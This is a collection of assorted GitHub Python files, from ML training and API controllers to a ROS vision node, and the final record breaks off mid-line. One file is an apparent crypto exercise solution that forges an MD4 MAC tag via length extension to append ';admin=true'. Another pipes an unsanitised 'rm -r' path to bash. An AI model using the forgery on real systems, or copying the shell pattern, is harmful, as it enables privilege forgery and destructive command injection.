{"seq_id":"33316925739","text":"import json\n\nfrom controllers import TwizoController\nfrom enums import RequestType, WidgetSessionType\nfrom exceptions import TwizoParamsException\nfrom models.parameters import WidgetSessionParams\nfrom models.result import WidgetSession\n\n\nclass WidgetSessionController(TwizoController):\n    def create(self, params: WidgetSessionParams) -> WidgetSession:\n        \"\"\"\n        Create a new widgetSession and parse the result to a WidgetSession object\n\n        Args:\n            params (WidgetSessionParams): WidgetSessionParams object to add parameters to request\n\n        Raises:\n            TwizoParamsException\n            TwizoDataException\n            TwizoJsonException\n            TwizoApiException\n\n        Returns:\n            WidgetSession object\n        \"\"\"\n        if not isinstance(params, WidgetSessionParams):\n            raise TwizoParamsException(\"Wrong parameter type.\")\n\n        return self._service.parse(\n            self._worker.execute(url=\"widget/session\", request_type=RequestType.POST,\n                                 parameters=json.dumps(params.__dict__), expected_status=201)\n        )\n\n    def get_session_status(self, session_token: str, recipient: str, identifier: str,\n                           widget_session_type: WidgetSessionType) -> WidgetSession:\n        \"\"\"\n        Create a new widgetSession and parse the result to a WidgetSession object\n\n        Args:\n            session_token: identifier of the session\n            recipient: phone number specified for the session\n            identifier: backup code identifier\n            widget_session_type:\n\n        Raises:\n            TwizoDataException\n            TwizoJsonException\n            TwizoApiException\n\n        Returns:\n            WidgetSession object\n        \"\"\"\n        if widget_session_type == WidgetSessionType.RECIPIENT:\n            url = \"widget/session/%s?recipient=%s\" % (session_token, recipient)\n        elif widget_session_type == WidgetSessionType.BACKUPCODE:\n            url = \"widget/session/%s?backupCodeIdentifier=%s\" % (session_token, identifier)\n        elif widget_session_type == WidgetSessionType.BOTH:\n            url = \"widget/session/%s?recipient=%s&backupCodeIdentifier=%s\" % (session_token, recipient, identifier)\n        else:\n            return WidgetSession()\n\n        return self._service.parse(\n            self._worker.execute(url=url, request_type=RequestType.GET, expected_status=200)\n        )\n","repo_name":"twizoapi/lib-api-python","sub_path":"app/controllers/widget_session_controller.py","file_name":"widget_session_controller.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69842172582","text":"# Train the model here\nimport torch.nn as nn\nimport torch\n# from model import Net \nimport numpy as np\nimport torch.nn.functional as F\nimport glob\nimport PIL.Image as pil_image\nimport h5py\n# from model import Net\nfrom model1 import Net\n# from model2 import Net\n\nmodel = Net()\n# FILE = \"nn-model-1.pth\"\nFILE = \"nn-model-v2-2.pth\"\nmodel.load_state_dict(torch.load(FILE))\nmodel.eval()\n\n#Define hyper-parameters\nnum_epochs = 10\nlearning_rate = 1e-4\n# --patch_size = 17\n# --stride = 8\n\n#Initialize loss function and optimizer\nloss = nn.MSELoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n#List of h5 files containing the patches\nfile_paths = list()\nfor i in range(13):\n    fileName = \"training-imgs/h5-files/file\"+str(i)+\".h5\"\n    file_paths.append(fileName)\n\n\n#Train the model\nfor epoch in range(num_epochs):\n    fileNum = 0\n    for file_path in file_paths:\n        file = h5py.File(file_path,'r')\n        lr_patches = file.get('lr')\n        hr_patches = file.get('hr')\n\n        lr_patches = torch.tensor(np.array(lr_patches))\n        hr_patches = torch.tensor(np.array(hr_patches))\n\n        if(fileNum==0 and epoch==0): print(\"Starting training\")\n        output_patches = model(lr_patches)\n\n        if(fileNum==0 and epoch==0): print(\"Model works\")\n        (N,n,m) = hr_patches.shape\n        output_patches = output_patches.view(N,n,m)\n\n        hr_patches = torch.tensor(hr_patches,dtype=torch.float)\n        cost = loss(output_patches,hr_patches)\n        if(fileNum==0 and epoch==0): print(\"Loss calculation successful\")\n\n        cost.backward()\n        optimizer.step()\n        optimizer.zero_grad()\n\n        statement = \"Epoch: \" + str(epoch) + \", filenum: \" + str(fileNum+1) + \", loss: \" + str(cost.item())\n        print(statement)\n        fileNum+=1\n\n# FILE = \"nn-model-v3.pth\"\n# torch.save(model.state_dict(),FILE)\n","repo_name":"abeerm24/soc-vsr-final","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26052997692","text":"#! /usr/bin/env python3\n\nimport numpy as np\n#from tefingerprint import util\nfrom .dtype import remove_field as _dtype_remove_field\n\n\ndef bind(x, y):\n    \"\"\"\n    Bind the fields of two structered numpy arrays of the same shape\n    into a single array.\n\n    :param x: a numpy array\n    :type x: :class:`numpy.array`\n    :param y: a numpy array\n    :type y: :class:`numpy.array`\n\n    :return: a numpy array with the fields and values of both x and y\n    :rtype: :class:`numpy.array`\n    \"\"\"\n    for field in x.dtype.names:\n        assert field not in y.dtype.names\n    assert len(x) == len(y)\n    new = np.empty(len(x), dtype=np.dtype(x.dtype.descr + y.dtype.descr))\n    for field in x.dtype.names:\n        new[field] = x[field]\n    for field in y.dtype.names:\n        new[field] = y[field]\n    return new\n\n\ndef remove_field(array, field):\n    \"\"\"\n    Return a copy of an array without the specified field.\n\n    :param array: a numpy array\n    :type array: :class:`numpy.array`\n    :param field: the name of a filed in the array\n    :type field: str\n\n    :return: a numpy array\n    :rtype: :class:`numpy.array`\n    \"\"\"\n    dtype = _dtype_remove_field(array.dtype, field)\n    new = np.empty(len(array), dtype=dtype)\n    for field in dtype.names:\n        new[field] = array[field]\n    return new\n\n\nif __name__ == \"__main__\":\n    pass\n","repo_name":"PlantandFoodResearch/TEFingerprint","sub_path":"tefingerprint/util/numpy/array.py","file_name":"array.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25446324764","text":"from django.contrib import admin\nfrom django.urls import path\nfrom main import views\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('main/posts/', views.PostView.as_view()),\n    path('main/posts/<int:pk>/', views.PostDetailView.as_view()),\n    path('main/posts/<int:pk>/like/', views.PostLike.as_view()),\n    path('login/', views.login),\n    path('logout/', views.logout)\n]","repo_name":"balnur00/quiz","sub_path":"quiz-back/back/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7201093104","text":"import os, sys\nimport subprocess\n\nfrom pg.pg import db_connector\nfrom module.module_functions import module_functions\n\n\nclass delete_parameter(module_functions):\n    \"\"\"\n        Class to delete data in file system and DB\n    \"\"\"\n\n    def __init__(self):\n        print(\"class delete_parameter\")\n        self.project = os.environ.get('STB_DATA_PROJECT')\n        self.data_path = os.environ.get('STB_DATA_PATH')\n        self.id_level = os.environ.get('STB_LEVEL')\n        self.base_path = '/data/' + self.project + '/'\n        self.error = False\n\n    def do_delete(self, data_config, data_scenarios):\n\n        \"\"\"\n            function to delete data in file system\n\n            Parameter:\n                (dict) data_config (data from config-file)\n            Parameter:\n                (dict) data_parameter (data from /src/config/default/parameter.config)\n\n\n            Returns:\n                None\n        \"\"\"\n\n        print(\"--> calculate statistics\")\n\n        for id_sc in data_config[\"options\"]['id_sc']:\n\n            data_sc = self.get_scenario_data_from_sc_id(data_scenarios, id_sc)\n\n            for id_param in data_config[\"options\"]['id_param']:\n                path = self.base_path + 'parameters/' + data_sc['model_scenario_name'] + '/' + \\\n                       str(id_param) + '/' + data_sc['model_year'] + '/'\n                # print('path', path)\n\n                p = subprocess.Popen('/bin/bash', shell=True, stdin=subprocess.PIPE)\n\n                # del directory\n                shell_string = 'rm  -r ' + path + ';'\n                print(shell_string)\n\n                p.communicate(shell_string.encode('utf8'))\n                del p\n\n    def do_delete_db(self, data_config):\n\n        \"\"\"\n            function to delete data in DB (viewer_data.param_area_exists)\n\n            Parameter:\n                (dict) data_config (data from config-file)\n\n            Returns:\n                None\n        \"\"\"\n\n        print(\"--> calculate statistics DB\")\n\n        pg = db_connector()\n\n        for id_sc in data_config[\"options\"]['id_sc']:\n\n            for id_param in data_config[\"options\"]['id_param']:\n                pg.dbConnect()\n                pg.tblDeleteRows('viewer_data.param_area_exists', 'idparam = ' + str(id_param) +\n                                 ' and idsz = ' + str(id_sc) + ' and idlevel = ' + str(self.id_level))\n                pg.dbClose()\n","repo_name":"visdat-hub/2023_lfulg_eler","sub_path":"src/import/module/delete_parameter.py","file_name":"delete_parameter.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22886587934","text":"import logging\nimport time\n\nfrom nio import MatrixRoom, RoomMessage\n\nlogger = logging.getLogger(\"module_runner\")\n\n\"\"\" Responsible for running modules on messages in rooms \"\"\"\n\n\nclass ModuleRunner:\n    MAX_AGE_OF_EVENT_TO_BE_NEW_SECONDS = 30 * 60  # Events older than 30 minutes can be ignored\n\n    def __init__(self, config, matrix, module_loader):\n        try:\n            self.loaded_modules = module_loader.load_modules(config, matrix)\n        except IOError as e:\n            logger.warning(\"Could not load module(s) due to: {}\".format(str(e)), e)\n\n    async def run(self, event: RoomMessage, room: MatrixRoom, message):\n        logger.debug(\"Running {} modules on message\".format(len(self.loaded_modules)))\n        if self._is_old_event(event):\n            logger.warning(\"Event is too old, discard it. This should happen very rarely\")\n        else:\n            for module in self.loaded_modules:\n                await module.run(room, event, message)\n\n    def _is_old_event(self, event: RoomMessage):\n        return (time.time() - (event.server_timestamp / 1000)) > self.MAX_AGE_OF_EVENT_TO_BE_NEW_SECONDS\n","repo_name":"RichardNysater/chaanbot","sub_path":"chaanbot/module_runner.py","file_name":"module_runner.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35177709033","text":"class ListComparator:\n    def __init__(self, list1, list2):\n        self.list1 = list1\n        self.list2 = list2\n\n    def calculate_average(self, numbers):\n        return sum(numbers) / len(numbers)\n\n    def compare_lists(self):\n        average1 = self.calculate_average(self.list1)\n        average2 = self.calculate_average(self.list2)\n        \n        if average1 > average2:\n            return \"Первый список имеет большее среднее значение\"\n        elif average2 > average1:\n            return \"Второй список имеет большее среднее значение\"\n        else:\n            return \"Средние значения равны\"\n\n# Проверка сравнения списков\nlist1 = [1, 2, 3, 4, 5]\nlist2 = [6, 7, 8, 9, 10]\n\ncomparator = ListComparator(list1, list2)\nresult = comparator.compare_lists()\nprint(result)","repo_name":"Ludmila12321/DZ_Unit_tests","sub_path":"dz_6/ListComparator.py","file_name":"ListComparator.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19489179917","text":"#!/usr/bin/env python3.5\n# -*- coding:utf-8 -*-\n\nfrom md4 import MD4\nfrom os import urandom\nimport struct\nimport codecs\n\nkey_raw = urandom(0x10)\nkey_raw = b'YELLOW SUBMARINE'\n\nhex2raw     = lambda h: codecs.decode(h, 'hex')\nraw2hex     = lambda h: codecs.encode(h, 'hex')\n\ndef md4(data):\n    return MD4().update(data).digest()\n\ndef check(data, tag):\n    gen_tag = md4(key_raw + data)\n    return (gen_tag == tag)\n\ndef gen_md4_padding(data_len):\n    return (b'\\x80' +\n            (b'\\x00' * ((56 - (data_len + 1) % 64) % 64)) +\n            struct.pack('<Q', data_len * 8))\n\ndef hash_extend_attack(old_message, old_tag, new_message):\n    # try key length\n    for i in range(17):\n        old_pad = gen_md4_padding(len(old_message) + i)\n\n        new_data = new_message\n        a = struct.unpack(\"<I\", (old_tag[0:4]))[0]\n        b = struct.unpack(\"<I\", (old_tag[4:8]))[0]\n        c = struct.unpack(\"<I\", (old_tag[8:12]))[0]\n        d = struct.unpack(\"<I\", (old_tag[12:16]))[0]\n        new_tag = MD4(A=a, B=b, C=c, D=d, numbytes=i+len(old_message +\n                                                         old_pad)\n                     ).update(new_data).digest()\n        if check(old_message + old_pad + new_message, new_tag):\n            print(\"congratz!\")\n            return new_tag\n    print(\"failed\")\n\ndef solve():\n    old_message = (b\"comment1=cooking%20MCs;\"\n                   b\"userdata=foo;comment2=%\"\n                   b\"20like%20a%20pound%20of\"\n                   b\"%20bacon\")\n    old_tag = md4(key_raw + old_message)\n    print(\"[+] original tag : {}\".format(raw2hex(old_tag)))\n    new_data = b\";admin=true\"\n    new_tag = hash_extend_attack(old_message, old_tag, new_data)\n    print('[+] new tag      : {}'.format(raw2hex(new_tag)))\n\n# main\nif __name__ == '__main__':\n    solve()\n    pass\n\n","repo_name":"SilverBut/crypto_hackthon_2016","sub_path":"set4/prob6/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"22604686688","text":"# shared across modules in same process\n\ndef initialize():\n    global number_info\n    global alarm_active\n    globals()['number_info'] = {}\n    globals()['alarm_active'] = False\n\n# allow references in code before initialize is called\nnumber_info = globals()['number_info'] if 'number_info' in globals() else {}\nalarm_active = globals()['alarm_active'] if 'alarm_active' in globals() else False\n","repo_name":"devopsec/shomesec","sub_path":"pisensor/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"29398338267","text":"def solution(n,k,cmd):\n\tlink = {i : [i-1,i+1] for i in range(n)}\n\tresult = ['O' for _ in range(n)]\n\tstack = []\n\tfor c in cmd:\n\t\tif c[0] == 'U':\n\t\t\tfor _ in range(int(c[2:])):\n\t\t\t\tk = link[k][0]\n\t\telif c[0] == 'D':\n\t\t\tfor _ in range(int(c[2:])):\n\t\t\t\tk = link[k][1]\n\t\telif c[0] == 'C':\n\t\t\tstack.append([link[k][0],k,link[k][1]])\n\t\t\tresult[k] = 'X'\n\t\t\t\n\t\t\tif link[k][1] != n:\n\t\t\t\tlink[link[k][1]][0] = link[k][0]\n\t\t\tif link[k][0] != -1:\n\t\t\t\tlink[link[k][0]][1] = link[k][1]\n\t\t\tif link[k][1] == n:\n\t\t\t\tk = link[k][0]\n\t\t\telse:\n\t\t\t\tk = link[k][1]\n\t\telse:\n\t\t\tback = stack.pop()\n\t\t\tif k == -1 or k == n:\n\t\t\t\tk = back[1]\n\t\t\tif back[0] != -1:\n\t\t\t\tlink[back[0]][1] = back[1]\n\t\t\tif back[2] != n:\n\t\t\t\tlink[back[2]][0] = back[1]\n\t\t\tlink[back[1]][0] = back[0]\n\t\t\tlink[back[1]][1] = back[2]\n\t\t\tresult[back[1]] = 'O'\n\n\tanswer = \"\"\n\tfor i in result:\n\t\tanswer += i\n\n\treturn answer\n\nif __name__ == \"__main__\":\n\tprint(solution(8,2,[\"D 2\",\"C\",\"U 3\",\"C\",\"D 4\",\"C\",\"U 2\",\"Z\",\"Z\"]))","repo_name":"ZScomnet/Programmers","sub_path":"kakao/cut_graph.py","file_name":"cut_graph.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29233115813","text":"t = int(input())\n\ni = 1\nwhile i <= t:\n    cnt = 0\n    string = input()\n    letter = input()\n\n    list(string)\n\n    for m in range(len(string)):\n        if string[m] == letter:\n            cnt = cnt + 1\n\n    if cnt != 0:\n        print(\"Occurrence of \"+\"'\"+letter+\"'\"+\" in \"+\"'\"+string+\"'\"+\" =\", cnt)\n        # print(\"Occurrence of \\'{0}\\' in \\'{1}\\' =\".format(letter, string), cnt)\n    else:\n        print(\"'\"+letter+\"'\"+\" is not present\")\n\n    i = i + 1\n","repo_name":"himu999/problem_solving","sub_path":"G#1/problem_14.py","file_name":"problem_14.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10545728731","text":"import _csv\nimport os\nimport pandas as pd\nimport snpy as sn\nfrom plinkfiles import PlinkFiles\n\ncompress = False  # Set this to True if you run into memory errors, though that will significantly slow things down\n# Setting this to True will compress the binary genotype data while not in use\n# The main issue is for each SNP (per participant) it will then have to decompress and recompress the genotypes,\n#  significantly slowing everything down.\n\nautosomes = list(range(1, 23))\nfam, logdata, file_queue = {}, {}, []\nn_participants = 0\nall_files = os.listdir('RAW')\n# First assess (a) which files will run succesfully, and (b) how many participants there are\n# In the meanwhile we can also generate the .fam file\nfor nfile, filename in enumerate(all_files):\n    if filename.startswith('user'):\n        try:\n            # Trying to catch file errors\n            snps = sn.parse(\"RAW/{}\".format(filename))\n            for row in snps:\n                pass\n        except UnicodeError:\n            # Some files produce UnicodeDecodeError, probably different format? Skip those\n            print('{}: UnicodeError'.format(filename))\n            logdata[filename] = 'UnicodeError'\n            continue\n        except TypeError:\n            # No idea what happens here, but skip em\n            print('{}: TypeError'.format(filename))\n            logdata[filename] = 'TypeError'\n            continue\n        except ValueError:\n            # No idea what happens here, but skip em\n            print('{}: ValueError'.format(filename))\n            logdata[filename] = 'ValueError'\n            continue\n        except RuntimeError:\n            # PyVCF failed to launch\n            print('{}: PyVCF failed'.format(filename))\n            logdata[filename] = 'PyVCFError'\n            continue\n        except IndexError:\n            # Empty files ???\n            print('{}: IndexError'.format(filename))\n            logdata[filename] = 'IndexError'\n            continue\n        except _csv.Error:\n            # How much more of this?\n            print('{}: CSVError'.format(filename))\n            logdata[filename] = 'CSVError'\n            continue\n        famdata = filename.split('_')\n        if famdata[0].replace('user', '') not in fam.keys():\n            n_participants += 1\n            print('Verifying file {}/{} - subject {}: {}'.format(nfile, len(all_files), n_participants, filename))\n            if famdata[-1].split('.') == 'unkown':\n                sex = 0\n            else:\n                sex = 1 if famdata[-1].split('.') == 'XX' else 2\n            fam[famdata[0].replace('user', '')] = {\n                'FID': famdata[0].replace('user', ''),\n                'IID': famdata[0].replace('user', ''),\n                'PID': 0,\n                'MID': 0,\n                'sex': sex,\n                'phen': 0\n            }\n            file_queue.append(filename)\n\n# Save .fam file\npd.DataFrame.from_dict(fam, orient='index').to_csv(\"opensnp.fam\", sep='\\t', index=False, header=False)\n\nplinkfiles = PlinkFiles(n_participants, compress=compress)\ntriallelic = []\nfor n_participant, filename in enumerate(file_queue):\n    print('Converting file {}/{}: {}'.format(n_participant, n_participants, filename))\n    n_snps_file = 0\n    snps = sn.parse(\"RAW/{}\".format(filename))\n    processed_variantes = {i: {} for i in autosomes}\n    for row in snps:\n        try:\n            chrom = int(row.chromosome)\n        except ValueError:\n            continue\n        if (chrom in autosomes) and (row.name not in triallelic):\n            if row.name in processed_variantes[chrom].keys():\n                triallelic.append(row.name)\n            else:\n                plinkfiles.add(n_participant, row.name, chrom, row.position, row.genotype)\n                processed_variantes[chrom][row.name] = True\n                n_snps_file += 1\n        else:\n            break  # Assuming all files are stored in order we can stop once we hit a non-autosomal chromosome\n    logdata[filename] = 'Succes,{}'.format(n_snps_file)\n\nplinkfiles.remove(triallelic)\n# Write .bed and .bim files\nplinkfiles.save('opensnp')\n\n# Write log\nwith open(\"opensnp.log\", 'w') as f:\n    f.write(\"Total subjects: {}\\n\".format(n_participant))\n    f.write(\"Total SNPs    : {}\\n\\n\".format(len(plinkfiles.bim)))\n    succes = {k: v for k, v in logdata.items() if v.startswith('Succes')}\n    failed = {k: v for k, v in logdata.items() if not v.startswith('Succes')}\n    f.write('FAILED FILES:')\n    for k, v in failed.items():\n        f.write('\\n  {} - {}'.format(k, v))\n    f.write('\\n\\nSUCCSESFULLY PARSED FILES:')\n    for k, v in succes.items():\n        f.write('\\n  {}: extracted {} SNPs'.format(k, v))\n\n\n\n\n","repo_name":"matthijsz/OpenSNPtoPLINK","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14834471048","text":"# This script will remove any spaces and symbols from foldername and filename\nimport os\nimport re\nimport argparse\nimport xml.etree.ElementTree as ET\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-i\", \"--input_dir\", dest = \"input_dir\", default = \"model\", required=True, help=\"Name of the dataset directory\")\n\nargs = parser.parse_args()\n\ndef clean_and_rename(path):\n    for root, dirs, files in os.walk(path):\n        for dirname in dirs:\n            new_dirname = re.sub(r'[^\\w\\s]', '', dirname)  # Remove symbols from directory name\n            new_dirname = new_dirname.replace(' ', '_')  # Replace spaces with underscores\n            original_path = os.path.join(root, dirname)\n            new_path = os.path.join(root, new_dirname)\n            \n            if original_path != new_path:\n                os.rename(original_path, new_path)\n                print(f'Renamed Directory: {original_path} -> {new_path}')\n\n        for filename in files:\n            name, extension = os.path.splitext(filename)\n            new_name = re.sub(r'[^\\w\\s]', '', name)  # Remove symbols from name\n            new_name = new_name.replace(' ', '_')  # Replace spaces with underscores\n            new_filename = new_name + extension\n            original_path = os.path.join(root, filename)\n            new_path = os.path.join(root, new_filename)\n            \n            if original_path != new_path:\n                os.rename(original_path, new_path)\n                print(f'Renamed File: {original_path} -> {new_path}')\n\n            # Update references in XML files\n            if extension.lower() == '.xml':\n                image_name = filename.split('.')[0] + '.jpg'\n                update_xml_references(root, filename, image_name)\n    \n    print(\"FINISHED RENAMING AND CLEANING\")\n\n#edit xml <filename> with new name\ndef update_xml_references(root, xml_filename, image_name):\n    xml_path = os.path.join(root, xml_filename)\n    \n    if os.path.exists(xml_path):\n        tree = ET.parse(xml_path)\n        root = tree.getroot()\n\n        for filename_element in root.iter('filename'):\n            filename_element.text = image_name\n\n        tree.write(xml_path)\n\nif __name__ == \"__main__\":\n    # target_directory = \"/media/ofotechjkr/storage01/2023_08_irad2/ml_training/script/dataset_tools/images\"\n    target_directory = args.input_dir\n    clean_and_rename(target_directory)","repo_name":"fitrijamsari/tensorflow_object_detection_local","sub_path":"script/dataset_tools/clean_filename.py","file_name":"clean_filename.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31102388768","text":"#!/usr/bin/python3\n\"\"\"\nall user apis including login and logout page\n\"\"\"\n\nfrom flask import abort, render_template, request, jsonify, session, redirect, url_for, flash\nfrom api.v1.views import app_views\nfrom models import storage\nfrom models.cohorts import Cohort\n\n\ndef all_cohorts():\n    all_cohorts = storage.all('Cohort')\n    cohort_list = []\n    for value in all_cohorts.values():\n        cohort_list.append(value.to_dict())\n    return cohort_list\n\n\n@app_views.route('/createcohort', strict_slashes=False, methods=['GET', 'POST'])\ndef createcohort():\n    \"\"\"\n    create a new cohort\n    \"\"\"\n    if request.method == 'POST':\n        if 'user_id' in session:\n            new_data = request.form\n            if not new_data:\n                abort(404, description=\"absolutely no data\")\n\n            data = new_data.to_dict()\n            data['no_of_students'] = 0\n            new_cohort = Cohort(**data)\n            new_cohort.save()\n            flash('cohort successfully created')\n            return render_template('cohort.html', result=\"success\")\n    else:\n        if 'user_id' in session:\n            return render_template('cohort.html')\n        else:\n            flash('login to get access')\n            redirect(url_for('appviews.login'))\n\n\n@app_views.route('/updatecohort/<id>', strict_slashes=False, methods=['POST'])\ndef updatecohort(id):\n    \"\"\"\n    update cohort\n    \"\"\"\n    get_cohort = storage.get(Cohort, id=id)\n    if get_cohort:\n        data = request.get_json()\n        get_cohort.cohort_no = data['cohort_no']\n        get_cohort.save()\n        return jsonify(get_cohort.to_dict())\n    else:\n        flash(\"failed to update, try again!\")\n        abort(404)\n\n\n@app_views.route('/deletecohort/<id>', strict_slashes=False, methods=['POST'])\ndef deletecohort(id):\n    \"\"\"\n    delete cohort\n    \"\"\"\n    get_cohort = storage.get(Cohort, id=id)\n    if get_cohort:\n        get_cohort.delete()\n        storage.save()\n        flash(\"deleted successfully\")\n        return jsonify(all_cohorts()), 200\n    else:\n        flash(\"failed to delete, try again!\")\n        abort(404)\n\n\n@app_views.route('/allcohorts', strict_slashes=False, methods=['POST'])\ndef get_all_cohort():\n    \"\"\"\n    get all courses\n    \"\"\"\n    return jsonify(all_cohorts()), 200\n","repo_name":"kaytee07/Tekton","sub_path":"api/v1/views/cohort.py","file_name":"cohort.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72857309872","text":"from hqca.opts.core import *\nfrom hqca.opts.simplex.neldermead import *\nimport numpy as np\nfrom math import pi\nfrom random import random as r\n\n\nclass NelderMeadLagarias(NelderMead):\n    def _contract_inner(self):\n        self.C_x = self.M_x+self.gamma*(self.R_x-self.M_x)\n        self.C_f = self.f(self.C_x)\n        self.energy_calls+=1\n\n    def _contract_outer(self):\n        self.C_x = self.M_x-self.gamma*(self.R_x-self.M_x)\n        self.C_f = self.f(self.C_x)\n        self.energy_calls+=1\n    \n    def next_step(self):\n        self._reflect()\n        if self.R_f<=self.X_f: #note this is second worst\n            if self.R_f>self.B_f: #reflected point not better than best\n                self._update('reflect')\n            else: # reflected points is best or better, so we extend it\n                self._extend()\n                if self.E_f<self.B_f:\n                    self._update('extend')\n                else:\n                    if self.pr_o>1:\n                        print('NM: Reflected point better than best.')\n                        print(self.R_x)\n                    self.simp_x[-1,:]=self.R_x\n                    self.simp_f[-1]  =self.R_f\n        else: #reflected point worse than second\n            if self.R_f>self.W_f: #r worse than worst\n                self._contract_inner()\n                if self.C_f<self.W_f:\n                    self._update('contract')\n                else:\n                    self._shrink()\n            else: # between worst, second worst\n                self._contract_outer()\n                if self.C_f<self.R_f:\n                    self._update('contract')\n                else:\n                    self._shrink()\n        self.clean_up()\n\n\nclass AdaptiveNelderMead(NelderMeadLagarias):\n    def initialize(self,start):\n        nelder_mead_lagarias.initialize(self,start)\n        self.adaptive_parameters()\n\n    def adaptive_parameters(self):\n        self.alpha = 1\n        self.beta = 1+2/self.N\n        self.gamma= 0.75 - 0.5/self.N\n        self.delta = 1 - 1/self.N\n","repo_name":"damazz/HQCA","sub_path":"hqca/opts/simplex/lagarias.py","file_name":"lagarias.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"71363290032","text":"#!/usr/bin/env python\n\n# -*- encoding: UTF-8 -*-\n\n##  @file speech.py\n#   @brief File storing information about the speech services.\n\n##  @package speech\n#   @brief Package storing information about the speech services.\n\nimport sys\nimport os\nimport re\nimport subprocess\nimport time\nimport math\nimport numpy\n\n# OpenCV stuff\nimport cv2\nfrom sensor_msgs.msg import Image\nfrom std_msgs.msg import String\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom guessing_game_new.srv import *\n\n\nimport rospy\nfrom threading import Lock\n\n# path_to_darknet = '/Users/rootmac/Documents/workspace/darknet/'\n\nclass image_converter:\n\n  def __init__(self):\n    self.bridge = CvBridge()\n    self.image_sub = rospy.Subscriber(\"kinect2/qhd/image_color\", Image, self.image_cb)\n    self.image_service = rospy.Service(\"image_request\", image_request, self.fetch_image)\n    self.image = None\n    self.lock = Lock()\n\n  def predict_label(self,path):\n    # change working dir and run darknet\n    # in current version, darknet has to be installed in home directory (~/darknet/)\n    # call the bash script install_darknet.sh to install darknet\n    os.chdir(os.path.join(os.path.expanduser(\"~\"), \"darknet/\"))\n    command = './darknet classifier predict cfg/imagenet22k.dataset cfg/extraction.cfg extraction.weights ' + path\n    val = subprocess.check_output(command.split(' '))\n\n    # postprocess the results and return\n    val = val.split('\\n')\n    ret = [d for d in val if re.search('[a-z]+: [\\d.]+', d)]\n\n    return {d.split(': ')[0] : float(d.split(': ')[1]) for d in ret}\n\n  def fetch_image(self,req):\n    while self.image is None:\n      rospy.loginfo(\"Self.image does not exist yet. Waiting for 5 secs\")\n      rospy.sleep(5)\n\n    self.lock.acquire()\n    cv2.imwrite(\"in.png\",self.image)\n    ret = str(self.predict_label(\"in.png\"))\n    rospy.loginfo(ret)\n    self.lock.release()\n    return image_requestResponse(ret)\n\n  def image_cb(self,data):\n    try:\n      cv_image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n    except CvBridgeError as e:\n      print(e)\n    if not self.lock.locked():\n      self.image = cv_image\n      cv2.imshow(\"Image window\", self.image)\n      cv2.waitKey(1)\n\n\nif __name__ == \"__main__\":\n    ic = image_converter()\n    rospy.init_node('image_converter', anonymous=True)\n    rospy.loginfo(\"Vision node running...\")\n    try:\n      rospy.spin()\n    except KeyboardInterrupt:\n      print(\"Shutting down\")\n    cv2.destroyAllWindows()","repo_name":"HackRoboy/TheGreatGuessingGame","sub_path":"guessing_game_new/scripts/vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"21022097971","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 22 14:10:53 2017\n\n@author: Shivam\n\"\"\"\nfrom __future__ import division\nfrom collections import defaultdict\n\nd=defaultdict(list)\n\n\nstart=int(input(\"how many choices are present?\"))\n#asks the user how to start the tree\ncount=0\n#sets the count to zero to break the while loop further down\nwhile start>0:\n    count+=1\n    #adds to the counter in the loop\n    A=float(input('what is the probability of the initial event?'))#probability of the first event\n    ask=int(input('how many possibilities are linked to this event?'))#linked probabilities\n    #how many choices are linked to the first choice\n    second=0#counter for the next loop\n    tree=[]#makes a list of the linked probabilities\n    while ask>0:#starts the loop\n        second+=1\n        B=float(input('what is the probability of the next event?'))\n        tree.append(B)#adds each of the linked probabilities to the list\n        if second==ask: #breaks the loop for all the linked probabilities\n            break       \n    d.setdefault(A, []).append(tree)    \n    if count==start: #breaks the while loop altogether\n        break\n\nprint(d)\n\n#this gets P21 and P1 but we need P2\nchoice=float(input('what is the probability you want to start with?'))\n#asks the user what event you want\nif choice in d:\n    #if the probability is in the 